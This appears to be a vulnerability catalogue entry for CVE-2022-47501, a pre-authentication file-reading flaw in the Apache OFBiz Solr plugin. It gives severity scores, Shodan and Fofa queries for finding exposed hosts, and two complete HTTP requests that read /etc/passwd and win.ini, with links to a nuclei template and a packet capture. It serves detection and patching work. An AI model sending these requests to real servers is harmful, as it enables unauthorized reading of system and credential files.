| Title | Apache OFBiz < 18.12.07 - Local File Inclusion |
|---|---|
| Author | your3cho |
| Severity | High |
| Impact | Unauthenticated attackers can read arbitrary files from the server filesystem through the Solr plugin debug endpoint in Apache OFBiz, potentially accessing configuration files, credentials, and other sensitive system information. |
| Remediation | Upgrade to Apache OFBiz version 18.12.07 or later to mitigate this local file inclusion vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.8349 |
| CVE ID | CVE-2022-47501 |
| CWE ID | CWE-22 |
| Shodan Query | html:"OFBiz"http.html:"ofbiz"ofbiz.visitor= |
| Fofa Query | app="Apache_OFBiz"body="ofbiz"app="apache_ofbiz" |
| Tags | cve cve2022 apache ofbiz lfi vkev vuln |
Arbitrary file reading vulnerability in Apache Software Foundation Apache OFBiz when using the Solr plugin. This is a pre-authentication attack. This issue affects Apache OFBiz: before 18.12.07.
GET /solr/solrdefault/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
GET /solr/solrdefault/debug/dump?param=ContentStreams&stream.url=file://c:/windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-47501.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-47501.pcap
N/AN/A